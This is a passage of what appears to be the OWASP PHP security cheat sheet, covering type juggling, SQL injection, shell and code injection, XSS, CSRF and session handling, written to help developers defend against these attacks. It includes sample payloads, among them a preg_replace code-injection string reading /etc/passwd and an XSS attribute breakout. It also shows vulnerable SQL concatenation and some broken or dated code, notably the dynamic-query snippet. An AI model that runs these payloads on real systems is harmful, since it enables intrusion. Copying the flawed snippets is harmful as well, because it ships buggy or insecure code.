then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
